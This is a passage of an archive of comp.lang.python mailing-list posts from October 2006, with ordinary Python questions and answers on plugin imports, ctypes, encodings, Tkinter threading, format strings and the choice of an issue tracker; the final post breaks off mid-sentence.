Date: Fri, 06 Oct 2006 11:06:48 +0800
Subject: user modules
In-Reply-To: <MhaVg.369$X%5.116@read3.inet.fi>
References: <eg29os$6b4$1@enyo.uwa.edu.au> <MhaVg.369$X%5.116@read3.inet.fi>
Message-ID: <eg4h6t$d3d$1@enyo.uwa.edu.au>

Tuomas wrote:
> Cameron Walsh wrote:
>> Hi,
>>
>> I'm writing a python program to analyse and export volumetric data.  
>> To make development and extension easier, and to make it more useful 
>> to the public when it is released (LGPL), I would like to enable users 
>> to place their own python files in a "user_extensions" directory.  
>> These files would implement a common interface in order for the main 
>> program to be able to read them and execute the necessary code.
>>
>> My question is what is the best way of implementing this?
>>
>> I have investigated importing them as modules, but unless the user 
>> modifies the main program I cannot see how the main program can learn 
>> of the existence of specific modules.
>>
>> For example:
>>
>> from user_modules import *
>> # directory 'user_modules' contains __init__.py allowing this
>> # From here I would need a list of the imported modules, in order to
>> # execute a common command on each of them, such as
>>
>> for module in imported_modules:
>>     module.initialise()
>>     module.get_tab_window()
>>
>>
>> How do I get from the first bit to the second bit, or is there a 
>> better way of obtaining the functionality I need?
>>
>>
>> --Cameron.
> 
> import os
> 
> files=os.listdir('user_modules')
> tabs=[]
> for fle in files:
>     if fle.endswith('.py'):
>         module=__import__(fle[0:-3], 'user_modules', None,
>                ['initialise', 'get_tab_window'])
>         module.initialise()
>         tabs.append(module.get_tab_window())
> 
> *not tested*
> 
> print __import__.__doc__
> __import__(name, globals, locals, fromlist) -> module
> 
> Import a module.  The globals are only used to determine the context;
> they are not modified.  The locals are currently unused.  The fromlist
> should be a list of names to emulate ``from name import ...'', or an
> empty list to emulate ``import name''.
> When importing a module from a package, note that __import__('A.B', ...)
> returns package A when fromlist is empty, but its submodule B when
> fromlist is not empty.
> 
> Tuomas
> 

Thanks Tuomas, your solution worked a charm, with two changes:
1.)  Check I'm not trying to import __init__.py
2.)  module=__import__(fle[0:-3], 'user_modules', None,
                ['initialise', 'get_tab_window'])
      had to be changed to:
      module=__import__("user_modules.%s" %fle[0:-3], None, None,
                ['initialise', 'get_tab_window'])

For some reason it wasn't setting the context properly, I'll have to 
learn more about the function.

Thanks for teaching me how to read the documentation properly, about how 
private keywords like "import" are defined, and for providing a solution 
to a problem I'm likely to face many more times.

Best regards,

Cameron.


From MonkeeSage at gmail.com  Sun Oct  1 07:03:43 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 1 Oct 2006 04:03:43 -0700
Subject: builtin regular expressions?
References: <451e37a5$1@news.vo.lu><efm0k6$lgg$1@mlucom4.urz.uni-halle.de>
	<877izlxsiy.fsf@gmail.com> <efm4se$mm2$1@mlucom4.urz.uni-halle.de>
	<451ea5cc$1@news.vo.lu>
	<1159642479.968928.34760@k70g2000cwa.googlegroups.com>
	<efmgtt$q1m$1@mlucom4.urz.uni-halle.de>
	<mailman.1018.1159653612.10491.python-list@python.org>
	<efo4g0$bon$1@mlucom4.urz.uni-halle.de>
Message-ID: <1159700623.672318.146810@i3g2000cwc.googlegroups.com>

Mirco Wahab wrote:
> Therefore, I'd like to have a usable and understandable
> example of Regex-object juggling, that shows clearly
> what its real benefit is (or gives an idea of - ).

Here are some benefits:

DRY - You can assign a regexp to a variable and pass it around or call
specific instance methods on it. Thus...
Overhead - You don't need to keep compiling the same expression if you
need to use it several times, you can just assign it to a variable and
reference that.
Clarity - named methods are clearer than operators. ( .match vs. =~ ).

Regards,
Jordan



From mnations at gmail.com  Tue Oct 24 13:40:30 2006
From: mnations at gmail.com (Mudcat)
Date: 24 Oct 2006 10:40:30 -0700
Subject: Ctypes Error: Why can't it find the DLL.
Message-ID: <1161711630.004644.187330@h48g2000cwc.googlegroups.com>

Hi,

I can't figure out why ctypes won't load the DLL I need to use. I've
tried everything I can find (and the ctypes website is down at the
moment). Here's what I've seen so far.

I've added the file arapi51.dll to the system32 directory.  However
when I tried to access it I see this:

>>> print windll.arapi51 # doctest: +WINDOWS
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
  File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 387, in
__getattr__
    dll = self._dlltype(name)
  File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 312, in
__init__
    self._handle = _dlopen(self._name, mode)
WindowsError: [Errno 126] The specified module could not be found

So then I use the find_library function, and it finds it:

>>> find_library('arapi51.dll')
'C:\\WINNT\\system32\\arapi51.dll'

At that point I try to use the LoadLibrary function, but it still can't
find it:

>>> windll.LoadLibrary('C:\WINNT\system32\arapi51.dll')
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
  File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 395, in
LoadLibrary
    return self._dlltype(name)
  File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 312, in
__init__
    self._handle = _dlopen(self._name, mode)
WindowsError: [Errno 126] The specified module could not be found

What am I doing wrong? I've used ctypes before and not had this
problem. Before, I've just added the file to the system32 directory and
not had this problem.

On another note, if I wanted to include these DLL's to be a part of an
installable package, how would I configure ctypes to use DLL's from a
local directory?

Thanks,
Marc



From alexLIGO at googlemail.com  Tue Oct 17 11:53:56 2006
From: alexLIGO at googlemail.com (alexLIGO at googlemail.com)
Date: 17 Oct 2006 08:53:56 -0700
Subject: Save/Store whole class (or another object) in a file
Message-ID: <1161100436.211460.198430@e3g2000cwe.googlegroups.com>

Hi,

is it possible in python (with/without matplotlib, numpy etc) to store
a whole class with its data into a file, instead it to reconstruct
every time again? So is there an analogous to the matlab functions
load/save available?

Thanks
  Alex



From johnjsal at NOSPAMgmail.com  Wed Oct  4 11:55:11 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 04 Oct 2006 15:55:11 GMT
Subject: can't open chm files all of a sudden
In-Reply-To: <1159951350.208619.222470@m73g2000cwd.googlegroups.com>
References: <45233927$0$1761$c3e8da3@news.astraweb.com>
	<45233a81$0$30748$c3e8da3@news.astraweb.com>
	<1159951350.208619.222470@m73g2000cwd.googlegroups.com>
Message-ID: <zPQUg.60$1n3.960@news.tufts.edu>

John Machin wrote:

> Many things might cause an error dialogue -- further info needed.

Thanks, I will try your suggestions when I get home. As far as I know, 
this only started happening yesterday (although maybe I haven't opened 
the files in a day or two). All I've installed/uninstalled since then 
was HTML Kit. I'm not on a network, it's just me. I redownloaded the chm 
file for Python24 and it does the same thing.

I'll see what else I can find at home, I just hope it doesn't affect 
Python, and I desperately need my docs, especially for wxPython.


From mensanator at aol.com  Sat Oct 14 13:43:14 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 14 Oct 2006 10:43:14 -0700
Subject: Starting out.
In-Reply-To: <mailman.499.1160806083.11739.python-list@python.org>
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
	<1160784543.238714.132310@k70g2000cwa.googlegroups.com>
	<mailman.499.1160806083.11739.python-list@python.org>
Message-ID: <1160847793.990888.95790@m7g2000cwm.googlegroups.com>


Hendrik van Rooyen wrote:
> <mensanator at aol.com> wrote:
>
> 8<------------------------
>
> > Well, I'm on vacation this week, so 5 pm means nothing to me:
> >
> > teetertotter
> >
> > from the Consolidated Word List from puzzlers.org.
> >
> > Yes, it's also spelled with a hyphen or a space, but as long as this
> > is a valid spelling, it counts.
> >
> > I would recommend NOT looking this up, just take my word for it.
> > You may be offended at what you find.
>
> did not need to look it up - I know that teetertotter is a complicated word for
> "see-saw".....

Uh...that means something else (according to the Urban Dictionary).

> 
> - Hendrik



From MonkeeSage at gmail.com  Fri Oct  6 00:56:04 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 5 Oct 2006 21:56:04 -0700
Subject: printing variables
References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
	<mailman.1398.1160103912.10491.python-list@python.org>
	<1160104176.281125.121740@k70g2000cwa.googlegroups.com>
Message-ID: <1160110564.087231.237580@c28g2000cwb.googlegroups.com>

s99999999s2003 at yahoo.com wrote:
> Thanks all for the answers. Yup, i think i will use dicts/tuples/lists
> instead...

Even though you should be using some kind of container, you can still
do what you origianlly asked for with relative ease...you just have to
use the evil eval function (gasp!):

for i in xrange(5):
  if i == 0: continue
  print eval("var%d" % i)

Regards,
Jordan



From mitko at qlogic.com  Wed Oct 18 17:59:26 2006
From: mitko at qlogic.com (Mitko Haralanov)
Date: Wed, 18 Oct 2006 14:59:26 -0700
Subject: Getting method name from within the class method
In-Reply-To: <1161207492.298811.178110@m7g2000cwm.googlegroups.com>
References: <mailman.716.1161205201.11739.python-list@python.org>
	<1161207492.298811.178110@m7g2000cwm.googlegroups.com>
Message-ID: <20061018145926.0e8d3277@opal.pathscale.com>

On 18 Oct 2006 14:38:12 -0700
yellowalienbaby at gmail.com wrote:

> >>> class test(object):  
> ...  def a_method(self,this,that):
> ...   print self.a_method.__name__

Doing the above will obviously work!

However, I don't want to have to use the name of the function in the
print statement (the ".a_method." part). Imagine having about 100 of
the above print statements in the function and then you change the name
of the function. I want all 100 of the print statements to work without
having to change every one of them to reflect the new function name.

-- 
Mitko Haralanov					 mitko at qlogic.com
Senior Software Engineer			     650.934.8064
System Interconnect Group		    http://www.qlogic.com



From steve at holdenweb.com  Mon Oct 23 14:22:00 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 23 Oct 2006 19:22:00 +0100
Subject: encoding of sys.argv ?
In-Reply-To: <20061023130504.26823717@autremonde>
References: <20061023130504.26823717@autremonde>
Message-ID: <ehj168$lj1$1@sea.gmane.org>

Jiba wrote:
> Hi all,
> 
> I am desperately searching for the encoding of sys.argv.
> 
> I use a Linux box, with French UTF-8 locales and an UTF-8 filesystem. sys.getdefaultencoding() is "ascii" and sys.getfilesystemencoding() is "utf-8". However, sys.argv is neither in ASCII (since I can pass French accentuated character), nor in UTF-8. It seems to be encoded in "latin-1", but why ?
> 
> Jiba

Here's what I see in a Windows command prompt interactive session:

Python 2.4.2 (#67, Sep 28 2005, 12:41:11) [MSC v.1310 32 bit (Intel)] on 
win32
Type "help", "copyright", "credits" or "license" for more information.
Started with C:/Steve/.pythonrc
  >>> import sys
  >>> sys.stdin.encoding
'cp437'
  >>> sys.getdefaultencoding()
'ascii'
  >>>

But in a Cygwin command window on the same machine I see

import syPython 2.5b2 (trunk:50713, Jul 19 2006, 16:04:09)
[GCC 3.4.4 (cygming special) (gdc 0.12, using dmd 0.125)] on cygwin
Type "help", "copyright", "credits" or "license" for more information.
sStarted with C:/Steve/.pythonrc
  >>> import sys
  >>> sys.stdin.encoding
'US-ASCII'
  >>> sys.getdefaultencoding()
'ascii'
  >>>

The strings in sys.argv are encoded the same as the standard input, I 
bleieve.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From fdu.xiaojf at gmail.com  Tue Oct 10 04:17:48 2006
From: fdu.xiaojf at gmail.com (fdu.xiaojf at gmail.com)
Date: Tue, 10 Oct 2006 16:17:48 +0800
Subject: How to find a file or a device is currently used by which process
	or which program ?
Message-ID: <452B572C.6020303@gmail.com>

Hi,

When I want to uninstall my usb disk on windows, the operating systems 
sometimes tells me the device is being used by other program. But I 
can't find which program is using it. Can I do this using python ?

Thanks.

xiaojf


From http  Sat Oct 28 12:04:58 2006
From: http (Paul Rubin)
Date: 28 Oct 2006 09:04:58 -0700
Subject: Need help (Basic python)...what did I do wrong?
References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>
	<29c1a$454332e1$544ab808$5911@news.hispeed.ch>
	<1162050799.561792.6010@e3g2000cwe.googlegroups.com>
Message-ID: <7xhcxo1l5h.fsf@ruckus.brouhaha.com>

"frankie_85" <steveadi at gmail.com> writes:
> e_5 = math.sqrt(math.fabs(e)) + 5((math.pow(e,3)))
> 
> but I still don't understand though why the variable a, b, c, d, e
> becomes an int type even though I have already specified the user input
> to be floating point?

if you want to multiply two numbers you need to put a * between them.
* is the multiplication symbol in Python and most other languages.

When you say f(x) that says "there is a function x and Python should
call it on the value x".  When you say 5(x), that says "there is
a function 5 and Python should call it with the value x".  And then
when you try to actually do that, Python says "hey I can't do that,
5 isn't a function, it's an integer".



From steve at holdenweb.com  Sun Oct  1 09:43:28 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 01 Oct 2006 14:43:28 +0100
Subject: windev vs python SOS
In-Reply-To: <0001HW.C1457F2D0000F4CEF0407530@news.individual.de>
References: <nXzSg.195$nn3.31@nntpserver.swip.net>	<0001HW.C14424C100B023CEF0488530@news.individual.de>	<1159632848.993229.58300@m7g2000cwm.googlegroups.com>
	<0001HW.C1457F2D0000F4CEF0407530@news.individual.de>
Message-ID: <efogkf$g5d$3@sea.gmane.org>

Wolfgang Keller wrote:
>>Links abour Windev for those who like facts :
>>
>>http://www.windev.com/pcsoft/testimonials/index.html
>>http://www.pcsoft.fr/annonce10/photos.html
>>http://www.pcsoft.fr/pcsoft/120pages/index.html
> 
> 
> Well, it _could_ be that all the readers in comp.lang.python are utterly 
> braindead morons with entirely dysfunctional sense organs so that they can't 
> distinguish between 100% subject-matter-free sales promotion cheaptalk and 
> objective information about "facts" from independent and competent third 
> parties.
> 
> It _could_ be.
> 
> Anyway, if I were "PDG" of PC Soft, I would immediately fire their 
> advertising staff - judging from the "content" of those "facts" they're 
> totally incapable to produce anything that would actually convince anyone 
> with an IQ higher than that of an average housefly.
> 
> EOD.
> 
Fortunately, or unfortunately, depending how you look at it, there are 
plenty of people who can be convinced to buy software based on 
completely specious "arguments" and "facts". It's well known that to 
succeed in business you need superior marketing first: superior 
technology isn't even on the list of essentials, though as Google 
clearly demonstrates it can help a lot when used by intelligent people.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From mail at microcorp.co.za  Wed Oct  4 14:02:56 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Wed, 4 Oct 2006 20:02:56 +0200
Subject: Python/Tkinter crash.
References: <mailman.1242.1159951684.10491.python-list@python.org>
	<op.tgwml9x1rqur0o@eb.pragmadev>
Message-ID: <007401c6e7df$5d7c7a80$03000080@hendrik>


 "Eric Brunel" <eric_brunel at despammed.com> wrote:


> On Wed, 04 Oct 2006 10:33:55 +0200, Hendrik van Rooyen
> <mail at microcorp.co.za> wrote:
>
> > Hi,
> >
> > I get the following:
> >
> > hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py
> > UpdateStringProc should not be invoked for type font
> > Aborted
> >
> > and I am back at the bash prompt - this is most frustrating, as there is
> > no
> > friendly traceback to help me guess where its coming from.
> >
> > And what is worse, the script runs for a varying time before it simply
> > exits
> > like this.
> >
> > What can I do to dig deeper to try to find a clue? - I don't even know
> > if its
> > Python, Tkinter or Linux...
>
> Neither of them: it's a tcl problem. The message you get is in the file
> generic/tclObj.c in the tcl source directory.
>
> I know the problem happens sometimes on one of my Tkinter applications,
> but I never succeeded in reproducing it systematically. I've browsed the
> tcl bugs, but didn't find anything. Maybe you'll be luckier than I... If
> you are, I'm interested in any hint you can find.

Ouch! - this is a bit the wrong answer...

What I have seen, in mucking about today, is that it seems to be related to
threading - I have a silly sort of thread that runs, updating my meters, more or
less continuously, to simulate data from the field - it just adds some values to
the seven display variables and calls the update methods that delete and redraw
the arcs representing the analogue style meters, deleting and replacing the text
objects that show the values, and then it sleeps for a while, and does it all
again.

At the same time, one other thread (other than the main thread), can be created
to move a component on the canvas around by calling its delete and draw
methods. - but this is also done more or less continuously, as a new thread is
created as soon as the previous one dies to move the next object around.

Now these two things are asynchronous with each other, so that given enough
time, they are bound to make calls to Tkinter in a re-entrant fashion, and I
suspect that it is this that is causing the problem - my "evidence" for this is
that I implemented a boolean as a sort of "lock" and had the Meter updating back
down in favour of the other animation to try and avoid any sort of re - entrancy
to the Tkinter canvas object's  delete and draw methods...

Now the Jury is still out on this - it seems to have helped, as the thing has
been running for some hours now without crashing - but maybe I have just applied
a band aid to sword cut - I don't know - if it runs through the night I will
feel much better...

Will update again as soon as I have more data...

- Hendrik




From Roka100 at gmail.com  Sun Oct 29 21:35:16 2006
From: Roka100 at gmail.com (Jia Lu)
Date: 29 Oct 2006 18:35:16 -0800
Subject: wxPython changed ??
Message-ID: <1162175716.450967.190790@e3g2000cwe.googlegroups.com>

Hi all.
 I'm using wxPython 2.6.3.2-2 on FC 6.
 I wrote a demo used 'self.Bind(xxxxxx)' but I got an error says:
   " MyFrame instance has no attribute 'Bind' "

 I did that when I used FC 5 and it worked.

 Is new wxPy changed about the Bind method??

thanx



From martin at v.loewis.de  Wed Oct  4 17:13:35 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Oct 2006 23:13:35 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <7xwt7f4yox.fsf@ruckus.brouhaha.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<45240E19.3040000@v.loewis.de> <7xwt7f4yox.fsf@ruckus.brouhaha.com>
Message-ID: <452423FF.6010601@v.loewis.de>

Paul Rubin schrieb:
> "Martin v. L?wis" <martin at v.loewis.de> writes:
>> You fail to recognize that Python is *already* using a non-free software
>> for bug tracking, as do thousands of other projects. 
> 
> I don't think that reflects an explicit decision.  SF started out as
> free software and the software became nonfree after people were
> already using it.

That, in principle, could happen to any other free software as well.
What is critical here is that SF *hosted* the installation. If we would
use a tracker that is free software, yet hosted it elsewhere, the same
thing could happen: the hoster could make modifications to it which
are non-free. Not even the GPL could protect from this case: the
hoster would be required to publish source only if he publishes
binaries, but he wouldn't publish any binaries, so he wouldn't need
to release the source changes, either.

Also, even if it the software is open source and unmodified, there
still wouldn't be a guarantee that you can get the data out of it
if you want to. You *only* get the advantages of free software if
you also run it yourself. Unfortunately, there is a significant
cost associated with running the software yourself.

Despite what other people say, this *is* an issue. On python.org,
things that should get done don't, just because there is no
volunteer doing them. Hosting such a service elsewhere has the
clear advantage that you don't have to worry about most routine
maintenance jobs.

Regards,
Martin


From brett at python.org  Fri Oct 20 16:35:05 2006
From: brett at python.org (Brett Cannon)
Date: Fri, 20 Oct 2006 13:35:05 -0700
Subject: PSF Infrastructure has chosen Roundup as the issue tracker for Python
	development
Message-ID: <bbaeab100610201335q7fe14f9dx3be89b529778a7a@mail.gmail.com>

At the beginning of the month the PSF Infrastructure committee announced
that we had reached the decision that JIRA was our recommendation for the
next issue tracker for Python development.  Realizing, though, that it was a
tough call between JIRA and Roundup we said that we would be willing to
switch our recommendation to Roundup if enough volunteers stepped forward to
help administer the tracker, thus negating Atlassian's offer of free managed
hosting.

Well, the community stepped up to the challenge and we got plenty of
volunteers!  In fact, the call for volunteers has led to an offer for
professional hosting for Roundup from Upfront Systems.  The committee is
currently evaluating that offer and will hopefully have a decision made
soon.  Once a decision has been made we will contact the volunteers as to
whom we have selected to help administer the installation (regardless of who
hosts the tracker).  The administrators and python-dev can then begin
working towards deciding what we want from the tracker and its
configuration.

Once again, thanks to the volunteers for stepping forward to make this
happen!

-Brett Cannon
PSF Infrastructure committee chairman
-------------- next part --------------
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From gregpinero at gmail.com  Thu Oct  5 16:06:42 2006
From: gregpinero at gmail.com (=?ISO-8859-1?Q?Gregory_Pi=F1ero?=)
Date: Thu, 5 Oct 2006 16:06:42 -0400
Subject: How do I put % in a format sting?
Message-ID: <312cfe2b0610051306v5c43162akfa5fc89877f331b9@mail.gmail.com>

How do I put % in a format sting?

For example I want this to work:

>>> sql_template="""SELECT ENTRY FROM LOOKUP WHERE FIELDNAME LIKE '%s%V'"""
>>> sql_template % 'userdef103'
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
TypeError: not enough arguments for format string



-- 
Gregory Pi?ero
Chief Innovation Officer
Blended Technologies
(www.blendedtechnologies.com)


From noway at sorry.com  Sat Oct  7 20:38:43 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Sun, 08 Oct 2006 00:38:43 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it><45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it><f4rfv3-vhg.ln1@nb2.stroeder.com>
	<45254B18.2090806@v.loewis.de><mailman.1379.1160075929.10491.python-list@python.org><YzoVg.137036$zy5.1843214@twister1.libero.it><7x3ba1ltvj.fsf@ruckus.brouhaha.com><mailman.1457.1160140815.10491.python-list@python.org><H_IVg.138311$zy5.1854132@twister1.libero.it>
	<mailman.29.1160242926.11739.python-list@python.org>
Message-ID: <nMXVg.139289$_J1.908829@twister2.libero.it>

Tim Peters wrote:

> None are /totally ignored/ -- indeed, at least I see every one as it
> comes in.  You might want to change your claim to that no work
> obviously visible to you is done on them.  That would be better.

Please notice that my mail was in the context of "user satisfaction with the
bug tracker". I was claiming that it is useless to provide a blazingly fast
support turnaround for technical issue, when there is "no visibile work" being
done on most bugs that are submitted. And, in turn, this was in the context of
hiring 6-10 people as the only acceptable minimum to maintain and admin a bug
tracker. I was claiming that, if such a group was ever formed, it was better
spent on bug triage rather than keeping their keys ready all day long to
quick-fix any server breakage in minutes.

> These are the actual stats as of a few minutes ago:
>
> Bugs:  938 open of 7169 total ~= 87% closed
> Patches:  429 open of 3846 total ~= 89% closed
> Feature Requests:  240 open of 479 total ~= 50% closed

I claimed different numbers based on personal perception; I stand corrected,
and apologize for this. I could just say that my perception was wrong, but I
guess there's something in it that could be further analyzed. For instance, I
would be really curious to see how these figures look like if you consider only
bugs/patches/rfe *NOT* submitted by python committers. I don't think
Sourceforge can ever compute this number for us, so I'll wait to ask Roundup
about it (or, uh, Jira...).

> There's an easy way to improve these percentages dramatically,
> although they're not bad as-is:  run thru them and close every one
> that isn't entirely clear.  For example, reject every feature request,
> close every patch that changes visible behavior not /clearly/ fixing a
> bona fide bug, and close every "bug report" that's really a feature
> request or random "but Perl/Ruby/PHP doesn't do it this way" complaint
> in disguise.

Either close directly any nonsense, or ask for more feedback to the poster,
until the bug/patch/rfe is sufficiently clear to be handled, or 3 months are
passed and you close the bug for "no further feedback from the poster". If this
would dramatically reduce the number of open bugs, then yes, Python really
needs someone to do bug triaging.

> For example, the oldest patch open today is a speculative
> implementation of rational numbers for Python.  This is really a
> feature request in disguise, and has very little chance-- but not /no/
> chance --of ever being accepted.  The oldest bug open today is from 6
> years ago, and looks like an easy-to-answer /question/ about the
> semantics of regular expressions in Python 1.6.  I could take time to
> close that one now, but is that a /good/  use of time?  Yes, but, at
> the moment, even finishing this reply seems to be a /better/ use of my
> time -- and after that, I'm going to get something to eat ;-)

It might be not a good use of your time at all, since you are a developer. But
having a database with 938 open bugs most of which are
incomplete/nonsense/unconfirmed is much less useful than it could be. It also
raises the bar for new developers: it's much harder to just "pick one" and fix
it. I know because I tried sometimes, and after half an hour I couldn't find
any bug that was interesting to me and "complete" enough to work on it. I also
noticed that most bugs are totally uncommented like nobody cared at all. This
is where my thought about Python missing bug triaging started.
-- 
Giovanni Bajo




From g.brandl-nospam at gmx.net  Mon Oct  9 14:50:47 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Mon, 09 Oct 2006 20:50:47 +0200
Subject: operator overloading + - / * = etc...
In-Reply-To: <452a6a61$0$22844$426a74cc@news.free.fr>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<mailman.32.1160258060.11739.python-list@python.org>
	<slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>
	<mailman.34.1160260043.11739.python-list@python.org>
	<pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>
	<452a6a61$0$22844$426a74cc@news.free.fr>
Message-ID: <ege5m7$2t1$1@news.albasani.net>

Bruno Desthuilliers wrote:
> Steven D'Aprano wrote:
>> On Sat, 07 Oct 2006 17:21:55 -0500, Tim Chase wrote:
>> 
>>>>> With the caveat of the "=" mentioned in the subject-line (being
>>>>> different from "==")...I haven't found any way to override
>>>>> assignment in the general case.
>>>> Why would you want to do that?
>>> For the same reason one would use property() to create 
>>> getter/setter functions for a particular variable--to intercept 
>>> attempts to set a variable.
>> 
> (snip)
> 
>> Suppose we bind the name "x" to the object 1, and then rebind the name "x"
>> to the object []. Which object's hypothetical __assign__ method should get
>> called? 
> 
> The current namespace object, of course.

Which is?

Georg


From arkanes at gmail.com  Tue Oct  3 09:48:26 2006
From: arkanes at gmail.com (Chris Mellon)
Date: Tue, 3 Oct 2006 08:48:26 -0500
Subject: Ctypes and freeing memory
In-Reply-To: <6f7b52d0610030219l481b594ekbc9449b7339fd30@mail.gmail.com>
References: <6f7b52d0610030219l481b594ekbc9449b7339fd30@mail.gmail.com>
Message-ID: <4866bea60610030648u3a02c0c3k7c25e6c0e15f37c6@mail.gmail.com>

On 10/3/06, Oliver Andrich <oliver.andrich at gmail.com> wrote:
> Hi everybody,
>
> I am currently playing around with ctypes and a C library (libWand
> from ImageMagick), and as I want to easily deploy it on Mac, Linux and
> Windows, I prefer a ctypes solution over a C module. At least on
> windows, I would have resource problems to compile the C module. So,
> ctypes is the perfect choice for me.
>
> But I am currently encountering a pattern inside the C library, that
> has to be used to free memory. Coding in C I have to do the following
>
>     char *description;
>     long  severity;
>
>     description = MagickGetException(wand, &severity);
>     /*
>         do something with the description: print it, log it, ...
>     */
>     description = (char *) MagickRelinquishMemory(description);
>     exit(-1); /* or something else what I want to after an exception occured */
>
> So, this looks easy and is sensible from C's point of view. Now I try
> to translate this to Python and ctypes.
>
>     dll.MagickGetException.argtypes = [c_long, POINTER(c_long)]
>     dll.MagickGetException.restype  = c_char_p
>
>     severity = c_long()
>     description = dll.MagickGetException(byref(severity))
>
>     # So far so good. The above works like a charm, but the problem follows now
>     # ctypes already converted the char * for description to a String object.
>     # That means description has arrived in an area under Python's control.
>
>     # these definitions are the easy part
>     dll.MagickRelinquishMemory.argtypes = [c_void_p]
>     dll.MagickRelinquishMemory.restype  = c_char_p
>
>     # but this obviously must cause problems and causes problems
>     dll.MagickRelinquishMemory(description)
>
> So, my question is, how do I deal with this situation? Can I ignore
> the call to MagickRelinquishMemory, cause Python takes care of the
> resources already? Or is it impossible to use it at all, and I have to
> think about a different solution?
>

Not a ctypes expert but I can pretty much guaranteee that Python won't
correctly release that memory by itself. Are you sure that description
is actually a string object?

By my recollection it should be a c_char_p object, and if you pass it
to MagickRelinquishMemory ctypes should do the right thing.

If it doesn't, then you can use a more literal translation of the C
code, and use a c_void_p instead, using ctypes.string_at(description)
to get a string out of the buffer.


> Best regards,
> Oliver
>
> --
> Oliver Andrich <oliver.andrich at gmail.com> --- http://roughbook.de/
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From mm2ps at yahoo.co.uk  Mon Oct  2 12:18:13 2006
From: mm2ps at yahoo.co.uk (dug)
Date: 2 Oct 2006 09:18:13 -0700
Subject: tkinter to mpeg
Message-ID: <1159805893.786448.191810@i42g2000cwa.googlegroups.com>

Hi,

I have a small program that moves some shapes around a tkinter canvas.
Is there any way to save the output in a movie file, maybe mpeg?

Thank you,

Douglas



From NormanTindall at zdisk.net  Tue Oct  3 02:47:36 2006
From: NormanTindall at zdisk.net (OneMustFall)
Date: 2 Oct 2006 23:47:36 -0700
Subject: Sockets in python
In-Reply-To: <2_iUg.6914$TV3.4239@newssvr21.news.prodigy.com>
References: <1159557755.437424.44670@m73g2000cwd.googlegroups.com>
	<2_iUg.6914$TV3.4239@newssvr21.news.prodigy.com>
Message-ID: <1159858056.546645.4370@c28g2000cwb.googlegroups.com>



> What's your set-up and which cord are you pulling?
>

Well i now i think the clue is in the OS, i have sniffed and it seems
that Twisted have no magic.
It is seems that i simply tested things in a wrong way -
when i pulled cord from ethernet card windows determined that network
lost and started to closing all sockets opened to that network (and so
EINVAL or other OS error raised when twisted tryed to read wrom that
socket),
while the server did had a network - and it was right thing that server
was thinking that socket is alive.



From ptmcg at austin.rr._bogus_.com  Thu Oct 19 13:03:42 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Thu, 19 Oct 2006 17:03:42 GMT
Subject: invert or reverse a string... warning this is a rant
References: <mailman.764.1161275760.11739.python-list@python.org>
Message-ID: <OdOZg.3759$um6.1923@tornado.texas.rr.com>


"Demel, Jeff" <Jeff.Demel at JavelinDirect.com> wrote in message 
news:mailman.764.1161275760.11739.python-list at python.org...
John Salerno wrote:
P.S.  How about a string.shuffle() method that splits the string in half
into two new strings str1 and str2, and then recompiles the string by
alternating one character from each str1 and str2 as it goes?  Like
shuffling cards.  ;)


You mean:

"".join(sum(map(list,zip(s,s[len(s)/2:])),[]))

perhaps?

>>> s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
>>> "".join(sum(map(list,zip(s,s[len(s)/2:])),[]))
'ANBOCPDQERFSGTHUIVJWKXLYMZ'
>>>

-- Paul 




From mike$#at^&nospam!%trauschus  Thu Oct 26 21:52:42 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Thu, 26 Oct 2006 21:52:42 -0400
Subject: Tracing the execution of scripts?
Message-ID: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com>

Alright, I seem to be at a loss for what I am looking for, and I am not
even really all that sure if it is possible or not.  I found the 'pdb'
debugger, but I was wondering if there was something that would trace or
log the order of line execution for a multi-module Python program.  I am
having a little bit of a problem tracking down a problem that I
